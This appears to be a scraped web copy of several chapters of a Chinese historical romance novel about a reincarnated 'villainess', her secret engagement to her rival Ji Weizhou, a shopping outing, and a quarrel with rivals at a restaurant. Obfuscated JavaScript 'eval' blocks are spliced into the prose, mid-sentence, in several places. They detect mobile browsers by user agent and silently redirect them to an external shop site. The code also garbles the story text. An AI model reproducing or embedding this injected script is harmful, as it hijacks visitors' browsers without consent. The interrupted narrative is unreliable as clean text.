l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483080|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神片刻。 抵抗会加深他与那些人之间的牵扯,反而什么都不做,随着对权势地位的贪念,这些人最终也会选择背弃而离开他。在此之前,容忍就成了最佳的选择。 不过,也许还有更好的。 随着一声低沉的喟叹,崔时清骤然瞪圆了眼睛,指尖死死扣着纪危舟的肩臂,一时不察被拥入高处的愕然,让她的眼神逐渐迷离。她强行压着飘忽的心神开骂,但发出的声音却乱得很。 “你、混蛋!” “是,是我不好。” …… 疾风骤雨过后,崔时清瘫着,任由依旧兴奋的混蛋又亲又抱。她的身体宛如死尸,心绪却异常活跃,又琢磨起之前的事来。 一时间,眼皮虽然重得打架,却没有入睡的念头。 刚好有只烦人的手在她眼前晃悠,崔时清张嘴咬住了掌心软肉处,听着一声倒抽气,可算提起了精气神。 板着脸,问道:“那天晚上你从水榭高台出去,身边伺候的人呢?既然醉了为什么不回院子,或者直接去思凉阁?” 声音如此沙哑疲惫,还强撑着问了这么多,真让人心疼! 纪危舟失笑地端来瓷盏,哄着她喝了几口清茶,才老神在在地回答。 “江南在城中做事,次日才来。我用不惯旁人,又是与家中人共用茶饭,便一人前去。” 崔时清润了口,说话也轻松了些,稍稍回忆了一下,又追问道:“还有呢?说实话!” 说实话? 纪危舟看着崔时清的眼睛,下意识收紧了环抱着她的双臂。 实话是不可能说的。 说了,她就会逃走。 “不回去是因为酒里被下了药。”纪危舟眼神定定地看着她。 “……什么?”崔时清顿时紧张了起来。 纪危舟拨开散在她肩上的发丝,低头蹭了蹭,继续说:“离开高台时我便察觉异样,本是应该回院中的,但却发现有人尾随身后。若是寻常捉来正好,可药效实在太烈,我生怕无力抵挡,只好绕路躲避,这才遇到了你。” “!” 是她多此一举,让玉松跟踪纪危舟,才扰乱了布局? 纪危舟瞅着崔时清陷入沉思,眼神幽幽地摇了摇她,问道:“软软是后悔了?” 后悔啊! 崔时清刚要点头,对方却不依了,眼尾泛着湿红,似嗔似怨地盯着她。 “软软忘了吗?你过来之时,我还推着让你走的,是你不高兴离去,直噘着嘴冲上来,我才受不得控制,亲了你。” 崔时清沉默了一下,气呼呼地拍打着纪危舟的手,控诉道:“……你推我啊!你凭什么推我!还不许我跟你理论了?!什么噘着嘴!你才噘着嘴了!” “是,都是我的错,我不该推软软。”纪危舟纵容地笑着,任打任骂也不回嘴。 崔时清怒气一哽,绷着脸说:“知道就好!” 纪危舟看着她嘴硬的模样,忍不住循着她的唇瓣,尝了又尝。 好不容易缓了口气,崔时清还是忍不住问:“你没有骗我吧?” “没有。”纪危舟干脆利索地答道。 得来肯定的答复,崔时清顿时没有焦虑,长长吁了一口气,也懒洋洋地放松了身体,任由纪危舟抱着。 意识偏离之际,崔时清哑着声音,又交代了一句。 “若你说了谎,我绝对不会容你的,知道了吗?” 会撒谎的天道之子,定然不能留在身边了。 “……嗯。”纪危舟轻轻应了一声。 在重生之事上,他都隐瞒了八世,无人发觉,这一次也不会有问题的。 纪危舟垂着眼帘告诉自己,通过更急迫的深吻,让他们亲密无间、不可分离。 18. 进城 车内有冰盆凉果、婢女服侍,但酷暑天任何的等待,都会令人感到闷倦与不耐。 崔时清掀开竹帘,护卫叶霖立刻驱马上前。 “何人在前,怎都不动了?” “回县主,是礼部尚书王家的马车坏了,正在修理。” “真是晦气。”崔时清眉眼沉了下来,骂了一声。 王家和她八字相冲。 第二世,王家的女儿王思玉把她推入水池,使她血尽而亡;第七世,王家的儿子王重罗主张严惩她,连赴死的体面也不给,判了她五马分尸。 更别提其他,每回遇见都要吵架拌嘴,没有过好心情。 崔时清与桑麻抱怨,“碰上这家子都没好事!” 叶霖微微低头,唯恐被迁怒。 崔家表姑娘向来是不管对错,喜怒全凭本心。气性不顺的时候,看谁都不顺眼,打骂惩罚更不会有所顾忌,国公府内外院的人可都不敢轻易招惹这位煞星。 桑麻奉上桑菊凉水,见崔时清用了一口,才轻声道。 “王家堵着道不动,又岂止是惹了我们的不便。” 京郊不仅有猎场,还有不少皇亲贵胄的别苑庄子,供权贵夏日避暑玩乐。但让他们整夏都窝在荒野之地是不可能的,故而直通内城的官道上,总不乏往来的车马长队。 王家不顾后车通行,真要招来硬茬,也不打骂,直接上表弹劾礼部尚书家眷无状,才是真动到他们根骨痛处。 “也罢,省得见到他们家的人,败坏了兴致。”崔时清多看了一眼桑麻,就靠在凭几上闭目小憩,心中暗道。 阿姆‘养病’之后,倒是一夜之间变得周全,还知道怎么劝人了。想来这些年也是不易,既不能让人失望,又不能让人忌惮,真真劳心费神。 桑麻不知崔时清的想法,默默举起团扇为她送风,抬眼之际对上叶霖的眼睛,轻轻蹙着眉,眼神询问何事。 看着沉默寡言的小婢女以一盏凉水和三两句话,轻松搞定了‘煞星’,叶霖惊讶之余,便是钦佩,忍不住观察起这位名叫‘桑麻’的女娘子。 正在琢磨着清缓的嗓音里,有什么可以值得借鉴的,却被抓了包。 叶霖不自在地抱拳致歉,得来一个温和的淡笑,他顿了下,便拉着缰绳后退几步,目不斜移地直视前方。 后面两匹快马疾驰,往王家车马处而去。不多时,前车便重新动了起来。 从王家车马旁驶过,桑麻及时放下竹帘,阻隔了外面的两道目光。 * 青云阁是京都有名的制衣店。 崔时清到的时候,她的两位友人已经付了账,在雅间歇了许久。 “你也太慢了!” 吏部尚书的孙女蔡梦期歪在凭几上,累得不爱动弹,也不忘转着眼睛嗔视来人。 崔时清用着香饮子,缓了口气,眼神幽幽地说:“还不是王家的人,把官道都堵了!” “时娘碰上王思玉了?”崔琳琅坐在绣墩上,以一方素色罗帕掩唇,含情的眉眼满是惊讶。 “没有,我都没下车,懒得搭理他们家。” 崔时清抬着下巴,勾着唇淡笑,桃花眼里是目空万物的傲慢。 蔡梦期坐了起来,托着腮细细瞅她片刻,愕然道:“纪家庄子里有什么好东西,让你吃的,长了心眼?” 崔时清指尖沾了瓷盏里的香饮子,朝她洒去,“……还是先操心你的破嘴吧!” 蔡梦期哎呀一声闪躲,气恼地骂:“多脏呀。” “脏就对了。”崔时清笑笑,又抖了她一脸。 崔琳琅等她们闹够了,命人端走了杯盏,从婢子手里拿来湿帕子给崔时清擦了擦手,赞许道。 “时娘做的不错,与那讨人烦的拉扯,才是辱没了自己。” 崔时清伏趴在她的肩臂上,朝着蔡梦期挑衅地昂了昂头,“这才是明白人。” 蔡梦期不依,“琳琳,你看她尾巴都翘起来了,骄兵必败说的就是此人。” 崔时清咬着牙,抱怨道:“你就不能盼点我的好?” 蔡梦期冷笑一声,隔空从上到下点了点她,反问:“哪里有好的?” 崔时清不服气,转头跟崔琳琅告状,“她这是找茬!气我给她的继祖母送礼呢。” 蔡梦期把手边的扇子掷到她的脚边,颇为气愤,“你也知道自己可气了?!居然给那老妇送礼,我的面子不要了!” 崔时清往崔琳琅身后藏了藏,确认安全后才探出半颗脑袋。 “杨氏是八抬大轿进的尚书府,送礼怎么了,说得像没人送过一样。” 蔡梦期指着她的鼻子骂:“我管不着别人,反正你们就是不准!” 崔时清讪讪然地靠在崔琳琅的肩上,小声辩解,“我在江南做生意,用得上她阿兄。” 崔琳琅接话劝和道:“时娘与她是生意上的往来,并无私交。若是日后你和杨氏有龃龉,时娘定会帮你。” 崔时清立刻说:“这是自然!我给杨氏送礼是因有利可图,若她对你不好,我肯定是要替你出气的。” 蔡梦期不应。 杨氏入府至今,倒也没有作过妖。只是她幼时便与祖母相亲,祖母突然离世,她很久都没缓过伤心劲。没想到祖父却老树开花,迎来了一位年轻貌美的继室。蔡梦期改变不了,只好一直冷着杨氏,唯恐生出了感情,背叛祖母。 崔时清见她还是挂不下脸,便拉着崔琳琅上前,与她挨挤在一处。 “那些东西都是管事准备的,不值几个钱。今儿我可是带了不少银子,你看得上的,我都给你买。” 蔡梦期握着小拳头,捶了她几下,才道:“青云阁的账都付了,还用你做什么。” 崔时清挨了打,眉眼也轻松了起来,扭头看向桑麻。 “去把付的银钱换回来,还有,娘子们试过的衣裳饰物都买下,让掌柜差人送到府上。” 桑麻屈膝领命,带着蔡梦期和崔琳琅的女使出了雅间去办。 崔琳琅笑盈盈道:“这得花费多少?我倒是沾了光。” 她们虽有私库,但与崔时清不同,并没有经营进项,靠着月钱花销,比不得她的阔绰。 崔时清昂首道:“些许银钱,能得来美人一笑,才是值得。” 蔡梦期斜睨着她,不咸不淡地评价了一句,“还以为你掉进钱眼里了。” 崔时清心念微动,面不改色地说:“这不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503058|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也要攒攒嫁妆了。” 蔡梦期和崔琳琅都呆了呆,再顾不上别的,纷纷凑近了些,打量她。 风水轮转起来,到了她这儿,崔时清也就顺势摆足了姿态,把玩着手串,似笑非笑地看着挨挤在一块儿的俩人。 崔琳琅忍不住先问:“定的是苏家郎君?” 蔡梦期有些纳闷,“他的孝期不是明年才到吗?这会儿人还在乡下老宅呢。” 崔琳琅唔了一声,又问:“那是谁家的?” 蔡梦期双眸一亮,兴奋地挤眉弄眼,“难不成是皇子?” “不是不是都不是,瞎猜什么。”崔时清斜眼瞥了她们一下。 崔琳琅颔首,直言道:“崔氏不会把时娘嫁入天家的。” 崔琳琅是崔氏旁支,虽说已出了五服,与崔氏主家并无往来,但她深知世家骨子里的清高。 天子轮流做,不论天下姓甚名谁,都不会影响世家的地位,崔氏只要冷眼旁观即可,做多了反而不美。 蔡梦期抱着脑袋,有些癫狂地瞪着崔时清,“那是谁呀!谁!” 崔琳琅也眼巴巴地看着她,实在没了头绪。 崔时清微扬着眉眼,有些得意。 她就知道,谁也猜不到狗东西的身上。 在俩人崩溃之前,她才慢吞吞地从袖袋里取出一枚玉佩,提着给她们看。 “青玉司南佩。”崔琳琅神情呆滞,直愣愣地看着眼前的物件。 蔡梦期瞪圆眼睛,惊声道:“这不是纪家三郎,你对头的东西吗?!” 指尖随意勾缠着玉佩上的福绳,崔时清坦然道:“是,就是他。” 蔡梦期懵懵然地转头,扯了扯崔琳琅的衣袖,问:“我是不是在做梦?” 崔琳琅戳了一下司南佩,青云温润的触感使她浑身一颤,呐呐道:“没、没有吧,我们也不至于同时做了这个恶梦。” 蔡梦期尖叫了一声,撅着屁股扑向崔时清,蛄蛹着身子扭来扭去。 “真的假的?你不要骗我啊!” “差不多吧。”崔时清躲不开,只能生无可恋地躺在榻上,任其蹂躏。 她原想着告诉她们也罢,免得过些日子从别人口中听来,又与她闹脾气。没曾想,主动告诉了,也要被这么闹一通。 崔时清懊悔难当。 “差不多是何意?”崔琳琅抻着脖子问。 崔时清推了推身上沉甸甸的肉墩,没好气道:“我家中还没来人,若是对他不满,定然是要作罢的。” 她们纷纷点头,表示理解。 “不对呀!”蔡梦期猛然回过神来,用力压制着她,逼问道,“你们不是对头吗?你最讨厌纪家三郎的呀!你把人家怎么了?怎么就要结亲了?” “……你还会不会说话了?我能、怎么他了!”崔时清敛着眉,嘴硬不认。 “那是为什么呢?”崔琳琅也是想不明白。 崔时清露出厌烦至极的表情,叹气道:“还能为什么?他钦慕我呗,死缠烂打非要成婚,我实在没办法,只好应了。” 蔡梦期和崔琳琅四目相对,沉默了须臾,转而看向她,异口同声道。 “说的什么鬼话?谁会相信!” 19. 稀罕 好友们展现出超乎寻常的默契,让崔时清倍感欣慰。 她温温柔地笑了下,大大方方承认。 “好吧,这都是鬼话。” 蔡梦期认可她的诚实,语重心长道:“京都谁还不知,纪三郎最不耐烦你了!听我的,以后不要扯这种谎,让人笑话了,姊妹们都不好出面帮你撑场子!” 话是没错。 她还不知道纪危舟也讨厌她吗?可实话听着,怎就如此刺耳? 崔时清想起昨夜对她又亲又抱的人。 不耐烦?不耐烦还成天见色起意? 好吧!她也这样,算了。 “知道了,不说了还不行吗?”崔时清心中还是不太舒坦,便嘲讽道,“我可不是某些人!表里不一!” 崔琳琅好奇问:“时娘是指何人?” 崔时清扯了扯唇角,“他不是人。” 崔琳琅瞪圆了眼:“……” 蔡梦期更好奇崔时清和纪危舟的婚事,挤眉弄眼道:“定亲之事,也是假的吧?” 这点信任都没有了? 崔时清有些受伤地看了蔡梦期一眼,耷拉着眼皮,不想再理她。 蔡梦期也觉得自己说错了话,事关女娘子的终身大事,怎会拿来玩笑?想了又想,她还是决定对手帕交多一些信任与关怀。 “你们因何定亲?” 之前并无半点风声传出,如此突然,莫不是在庄子里由恨转爱、日久生情了? 蔡梦期连忙否定。 这两位可不是寻常的青梅竹马,南辕北辙的性子,玩不到一处,怎能生得了情意来?! 崔时清斜睨着她,随口胡扯道:“神仙托梦,说他会旺我。” “纪三郎有旺妻命?”崔琳琅声音拔高,克制不住激动的心。 蔡梦期也双眼放光,咽着口水追问着,“这可不是小事,有找高僧看过吗?会不会有错?” 崔时清看着好友垂涎的目光,暗笑了一下,反问:“神仙说的话,还有错了?” 俩人同时点头,不会错! 崔琳琅欲言又止了半天,最后颇为惋惜地叹了口气。 神仙怎么不给我也托个梦呢? 蔡梦期悻悻然地开口道:“世间多是求女娘子兴旺夫家的,旺妻的少之又少。这么招人稀罕的郎君,怎么就被你抢了去?” 在两道渴望艳羡的目光下,崔时清把自己也绕了进去,飘飘然地乐了一阵,昂首挺胸、颇为神气地挥了挥小手。 “也没什么了不得的。” 蔡梦期看不得崔时清如此得意,酸溜溜地撇了撇嘴,过了一会儿,又忍不住凑上前追问:“纪三郎呢?他又图你什么?” “图我貌美、有钱、又厉害。” 崔时清支着下颌注视着她们,浅笑间眼睛微微一眨,根根分明的长睫如流云闭月,散去后,黑白分明的眸子莹莹生辉,让人挪不开眼。 蔡梦期噎了一下,捂着发紧的心口,语气弱弱地嘟哝着,“说的也不错。但是,这可是纪家三郎,京都女娘心头上的姣姣明月,不该如此肤浅吧?” 崔琳琅连眨了几下眼睛,差点被蛊惑的目光也清明了些许,小小声应和道:“……是啊,不该呀。” “图这些,不实在吗?”崔时清反问道。 崔琳琅再被蛊惑,“实在。” 蔡梦期仍在挣扎,憋了半天才道:“纪三郎这样的神仙人物,不该视美人为枯骨,双手不染铜臭,孑然独立于世,唯注重心交神会的快意吗?” “……对呀,这才是纪家三郎呀。”崔琳琅认真点头。 崔时清轻笑出声,挨个点了点俩人的眉心,很想替她们开开眼、明明智。 “你们说的与庙中泥塑有什么区别?纪危舟是个人啊,食的是五谷茶饭,可用不得香火气。” 蔡梦期和崔琳琅都沉默了下来。 过了许久,崔琳琅才叹息道:“谪仙入世,也与凡人无异。” 蔡梦期心服口服,眉眼间的疑色尽散,啧啧叹道:“真没想到纪三郎竟落到你手上了,这事要是传出去,都不知要闹成什么样了!” 崔时清扬唇笑着。 她与纪危舟可不是要长相厮守的,闹起来才好,都别想好过。 蔡梦期有些欢喜,拉起崔时清的手贴在胸脯上,笑道:“都以为他喜欢的是陈柔欢那样的清汤寡水,没想到呀!卿卿,你可真棒!太给我们胸大细腰屁股翘的女娘长脸了!” 同样‘清汤寡水’的崔琳琅:“……” “谁说他喜欢、我了!”崔时清十指扭曲,费了不少气力,才得以解放双手,不自在地撇开眼,避着那片满眼的白。 “不喜欢?”蔡梦期怔怔然地望着她。 崔时清直截了当道:“他旺我,我养他,就这么简单。” 养他,养废他! 蔡梦期抱着头,念念叨叨着,“到底那句才是真话啊?” 崔时清指了指她的心口,善良地提醒道:“用你的心,去感受它。” 蔡梦期疯疯癫癫地摇了摇头,看向崔时清,就想看到了误入歧途的浪荡子,痛心惋惜通通都来。 “石娘,你变了!铁石心肠还不够,居然学来这面厚心黑的手段!是谁?到底是谁教坏你的!” 崔时清咧嘴笑道:“纪危舟教的。” 蔡梦期一扭腰,背着她怒道:“你莫再攀诬纪三郎!” 崔琳琅眼睛湿湿的,“对,不要再骗我们了。” 崔时清叹息着,“就你们这看人的眼光,何愁不被别人骗去?” 崔琳琅:“时娘!” 蔡梦期反抗,“没有你这么骂人的。” “抱歉。”崔时清只差躬身拜礼,讨好道,“春知乡新出了几款夏花制的冠子,可要去瞧瞧?” “……” 蔡梦期和崔琳琅默了默,点头回答:“去。” * 春知乡不止售卖时花,还有簪花、冠子、花环等等,与花草相关的饰物。近来更研制出独家的香方,引得京都爱花人为之倾倒,心甘情愿奉上钱袋子。 崔时清正要迈入店中,却察觉身边少了一人。回头望去,崔琳琅正弯着腰,笑盈盈地从街边提篮的卖花童手中,接过一支水盈盈的栀子花,又命婢子把提篮中的时花都买下。 “她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519887|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在做什么?”崔时清不解。 蔡梦期却见怪不怪,一边等着,一边说道:“琳琳心善,在照拂卖花童呀。” “……不是买人?”崔时清歪着头。 蔡梦期嫌弃道:“买卖仆役得找官府在册的人牙子,文书名录一应不缺才可,在街上乱买良民,可是要被收押杖责的!” 崔时清收回目光,懒洋洋道:“那她还真是心善,一提篮时花付的钱在春知乡里都可以买盒香膏了。” 蔡梦期闻言,直瞅着欢快离去的小儿背影,有些讶然。 崔琳琅看到店外的俩人,露出意外的神情,手中还捻着一支花形饱满、沾着水珠的栀子花,面颊因疾步而泛起红晕,显得格外清丽动人。 “劳你们久等。” 蔡梦期刚想说什么,崔时清就截过她的话头,拉着俩人入内,“外头热,快走。” “今日可巧,本店刚上了新物,贵客就到。” 春知乡的钱掌柜是个行事利索的娘子,识人待物不说,嘴皮子也甜得很,不论多难缠的客人在她的手中也都格外乖顺。 “把新来的冠子都拿出来,账要记在永宁县主名下。” 如彩蝶扑入花堆堆,蔡梦期满面灿烂,恨不得把春知乡都买下。 “是,贵人们随我来。”钱掌柜也笑得合不拢嘴。 在看到十数顶夏花制成的冠子,崔琳琅随手放下栀子花,在店里女使的帮助下,一个个地试戴。 “时娘,你看看这顶牡丹冠子,与你可相配了!”崔琳琅举起花冠,给她看。 “不喜欢。”崔时清扫了眼,兴致不高地看向别处。 “我也适合牡丹,让我试试吧。”蔡梦期看着崔琳琅手中的冠子,眼睛亮晶晶的。 “奴家帮您试戴。”女使殷勤服侍。 “好好!” 花冠前的一群人忙得火热,崔时清拿起一支木梨花闻了下,看向钱掌柜,“可有香膏?” 钱掌柜笑道:“有的,店中调了几种木梨花香方,滋味各有不同,县主可要入内试香?” 崔时清颔首,看向友人,“我去香室。” 蔡梦期和崔琳琅敷衍地摆了摆手,以作回应。 钱掌柜扶袖相引,“县主这边请。” 崔时清领着桑麻,越过一面花墙,往后堂而去。走到香室门前,她偏头看了一眼桑麻,一个念头在心里转了几转,最终收回目光。 “在外候着。” “是。”桑麻低下头,守在门前。 钱掌柜也没有入内,看着桑麻微微笑了笑,便目视前方,安静等待。 香室暗影处,一名灰衣人坐在案前垂首调香,听到来人的动静,往更深处退了两步,以雌雄莫辨的声音低声禀报。 庄园避暑的第一夜,崔时清令灰衣人在酒中下药,并设法引来与人偷欢的寡居娘子前往思凉阁,以便成就好事。 她虽然对纪危舟没了疑心,但始终要听一听自己人的答案。灰衣人的答案,再次引来崔时清的不安。 她坐在蒲团上,闻着木梨花的微甜的清香,面色冷沉。 “你是说,那妇人失踪了?” 20. 正巧 当夜,灰衣人在思凉阁外等了许久,既没有等来寡居娘子,也没有看到纪危舟,便知道计划失败。 他当即撤离,事后才知寡居娘子与情郎在那一夜同时失踪,官府查探过,既无携带银钱私奔的迹象,也没有仇杀的线索,好似凭空消失,遍寻各处也找不到二人。 “凭空消失了?” 崔时清神色凝重,像被扇了一巴掌,面颊耳根都火辣辣的,连呼吸都变得灼热。她几乎可以感受到,天道俯瞰着,发出极具轻蔑的讥笑声。 告诉她,这就是她的下场。 崔时清不知道她是怎么走出香室的,站在飞檐下,被烈日烫得酸胀的双眼,出神地望着欲往青天而冲的雀鸟。 夏花朵朵,盛开于万里碧空。 崔时清垂眸,看着撑着花伞的桑麻,问:“知道为何带你来吗?” 握着花伞的指节有些发白,声音却沉稳到近乎没有悲喜。 “奴婢任凭主子差遣。” 崔时清看着与柳氏相似的轮廓,眸光飘忽不定,很久才道:“阿姆年岁大了,你替她多分担些。” 桑麻屈膝,“奴婢不会让主子失望的。” 崔时清抿唇,不再言语。 * 在春知乡尽了兴,几人也都显出疲态,坐着马车来到拂仙楼,准备吃顿好的,为今日的行程添上圆满的一笔。 她们欢欢喜喜地来,却被告知常用的雅间已有了客人,崔琳琅顿时急了。 “我已派人让你们留下这间阁子,怎能让旁人用去了?” 掌柜拭了把额间的汗,偷瞄了一眼崔时清,面露苦涩地解释,“许是、下边儿的伙计没说清楚,才闹了这么大的误会,请诸位见谅。” 崔琳琅瞪着拜高踩低的掌柜,恨得不行。 蔡梦期用手扇了扇风,不耐烦道:“知道错了,还不速速把阁子清出来。” “使不得,这可使不得。”眼见几人就要进雅阁,掌柜着急忙慌地拦下她们,“天字号还有一间临河的阁子,比这间还要好,诸位不如随我同去,也胜过在此劳累。” 蔡梦期乏得很,准备跟着掌柜走。 崔琳琅觉得面上无光,全然没了好胃口,却也不好先行离开,便神色蔫蔫地跟在友人身边。 “等等。”崔时清没有什么情绪地看着掌柜。 掌柜暗叫了声‘冤家’,却还是恭敬作揖道:“让贵客受累了,今日诸位的账金皆由拂仙楼承担,还望贵客切勿为了小的过错,动怒伤了身。” 崔时清冷笑道:“我们缺了这点茶饭钱?” 掌柜知道崔时清难缠,连忙赔笑着,“怎会?小的是心有愧疚,这才斗胆请贵客允小人免去茶饭钱,否则恐难心安。” 崔时清看着以身挡在雅间前的掌柜。 “我们吃了亏,也得知道是谁如此霸道,抢去我们定的阁子吧?” 蔡梦期回味过来,也直瞅着紧闭的门,不快道:“是啊,这么威风的人物不上天,却躲在别人的阁子里闷声不吭,不憋屈吗?” 崔琳琅听得心中一阵快意,也讥嘲道:“兴许还是个知羞耻的,这才避着不敢见人。” 砰得一声,一名女娘怒气冲天地推门走了出来。 “几个嘴碎的东西,在此乱嗷什么!饿了就出上街讨食,少在姑奶奶跟前招烦!” 蔡梦期看见来人,顿时来了精神,挺着胸脯笑道:“我还道是谁,原来是王家的呀!无耻之人做无耻之事,可没什么稀罕的,掌柜若说明白了,我们也不来凑这热闹,平白受了热。” 王思玉身后跟来几名女娘,温声拉她哄劝着。 “谁人不知她们是横行跋扈惯的恶女子,在此争执少不得要污了我们的清名。公道自在人心,莫要理会她们。” 王思玉:“对,我们可不能沾了恶女子的名声!” 蔡梦期登时怒了,就想上前撕烂她们的嘴。 这群冤家对头,莫不是要掀了这楼子吗! 掌柜挡在路中,笑得面上的皮肉都颤抖了起来,说和道:“这天气燥得很,小的多请些冰盆,诸位回阁子里用些凉水消消暑,可好?” 每每看着王思玉,崔时清就想起第二世被她推下水池、窝囊而亡的记忆,心气不顺得很。今日不知怎的,看着她一如既往冲动又冒失的模样,心中却多了一分古怪的亲切感。 她死得早,不知道她的对头们后来过得如何,是如愿以偿,还是被天道利用殆尽。可凭着几世看鬼怪话本的经验,她多少可以猜到王思玉的命运。 ——这性子,大多是与她一样的,短命。 这么想来,崔时清心满意足。 连带着面对王思玉的叫嚣,也只轻飘飘问了一句。 “王家人不是堵着官道,就是抢人阁子,这要传出去,王尚书怕是会被弹劾吧?” 王思玉恨得不行,想与崔时清干一架,但又缺了点勇气,只把自己气得面容青白,才勉强有了反驳之言。 “你行事乖张、手段恶毒,不怕辱没了崔氏?” “王家女娘以市井流言,诋毁崔氏清誉,又当如何?” 楼梯转角处传来一声质问,低沉的声音自有一股读书人的正气浩然,令王思玉哑然无语。 “兄长,你怎么来了?” 崔琳琅声调微扬,颇为意外地望着一袭青布长衣、气质内敛沉稳的崔绯。 崔绯以警告的目光扫了一眼王思玉,直到对方不自在地错开眼,这才收敛起浑身的冷硬,弯了弯唇线,轻声回答胞妹的问题。 “昨日你说与友人相约,正巧路过拂仙楼,我便来瞧瞧。” “啊,是呀,我都忘了!”崔琳琅捂唇笑着。 看到王思玉哑了火、不敢接话,蔡梦期很得意,对这位不请自来的友人兄长也多了些好感,好声好气地邀请。 “崔家阿兄既然来了,不如让掌柜再开一间阁子,用了茶饭再一同回去?” 崔绯的视线落在崔时清身上,停了一瞬便垂下眼眸,迟疑问道:“可会扰了你们相聚?” 崔时清笑了笑。 这位九品校书郎,心机深沉、野心不小,并不是个好人。 刚好,她也不是! 他们气味相投,完全可以相互利用。但凡成功,皆可得到彼此都满意的报酬。这也是崔时清选定他在寿安长公主的诗会上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547186|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,夺走纪危舟机遇的原因。 比起威逼,明码标价、愿者上钩的合作,更加牢固和没有负担。 在崔绯再次抬眼看她时,崔时清迎上了这道目光,眼眸微弯笑道:“怎会?崔家阿兄在,也可照拂我们一二。” 在少见的盈盈浅笑下,崔绯的双眼不受控制地落在这张美得凌厉又张扬的面容上,无法移开。 他失神地想。 既然纪危舟可以,他又为何不能? “真热闹啊。” 熟悉的声音让崔时清下意识回头,便看到并肩走来的才子佳人。 是啊,真够热闹的。 在崔时清的九世中,每个人都在说纪危舟和陈柔欢相配,她看着也觉得没什么问题。两个漂漂亮亮、清清白白的人站在一起,确实登对。 登对,却也无用。 纪危舟的这一世,是她的。 他们看到彼此时,都在想什么呢?感受到爱而不得的痛苦了吗?想不想私奔?殉情也可以。 作为天道所不容的恶女,她很期待。 崔时清的唇角浮起意味深长的笑容,冷眼旁观着。 王思玉拉着陈柔欢的衣袖,满眼欢喜道:“阿柔,你把纪家兄长也请来了?!” “不,我们是在楼外遇见的。”陈柔欢温声解释。 王思玉窃笑着,“我家阿兄特意找人都时常扑了空,你可倒好,走在路上就能遇见了!” “……这。” 陈柔欢无措地眨了眨眼睛,又仰头望着纪危舟,眼睛清凌凌的,似是在向他求助。 “在下还有要事,恕不奉陪。” 纪危舟留下一句话,也不等她们回应,便兀自朝前走去。 “……什么要事?” 王思玉正琢磨着是什么要事,就眼睁睁看着纪危舟抱着鱼浅,匆匆走到崔时清的跟前。 “你怎么来了?” 崔时清纳闷地瞅着眼前的人,问的这话,有两重疑惑。 ——怎么来拂仙楼了?为何留下陈柔欢? “昨日你说与姊妹相约,正巧路过拂仙楼,便来瞧瞧。”纪危舟专注地看着她,答道。 “……” 这话,有点熟悉。 崔琳琅和蔡梦期都瞪着眼睛,稀奇地瞅着他们看。 崔绯沉着眉,对同僚自说自话,使他也陷入尴尬的行为,颇为不满。 崔时清不爱听纪危舟的胡扯,蹙着眉不语。 纪危舟像是没有觉察到气氛的古怪,捧起鱼浅,继续说:“这两尾小东西食欲不佳,我正准备送去教宠所瞧瞧。” 看戏人,被拉入戏台,并不是好事。 崔时清瞥了一眼不远处投来的审视的目光,压着烦躁,以尽可能平和的语气开口道。 “既然爱宠抱恙,便不留三表兄了,还请自便。” “时娘不如与我同去?”纪危舟点了点水中无精打采的鱼儿,问。 崔时清没想到他会说这话,表情没控制住,僵笑了一下,支吾回道:“……我还未用茶饭,就不去了。” 纪危舟顿感惊喜。 “正巧!我也还未用呢!” 21. 故意 这深不可测的厚颜,让崔时清都自叹不如。 她不由反思。 面对破皮无赖,她向来清高,怎么就看走了眼,把纪危舟视为了九世死敌? 他这样,实在配不上啊! 看着乐呵呵捧着鱼浅的人,崔时清皱起脸蛋,怀疑世间万物与自己。 在旁几人惊叹过后,对于相处得格外自然的俩人,眼神中都流露出了各色情绪。 蔡梦期反应过来,娇娇道:“纪家兄长若不嫌弃,不如与……” 与什么! 崔时清瞪了一眼蔡梦期,也顾不得其他,拉着纪危舟的衣袖,低声质问:“你想做什么?” 这狗东西,不会是知道她的计划,故意来搞破坏的吧?! “我想你了。” 纪危舟也低声耳语,状似无意地挠了下崔时清的掌心,收到一记惊骇的怒瞪,笑得很满足。 崔时清身心遭受重创,恨不得扇他几巴掌,咬牙切齿道。 “……少惹我!现在就走!” 纪危舟抱着鱼浅,期期艾艾地瞅着她,“我辛苦照料我们的鱼儿,这一日连口饮子都没用,你不知心疼也罢,还要厌弃我……” 看这架势,崔时清差点都以为,他怀里捧得不是两尾金鲫鱼,而是他们的孩儿了! 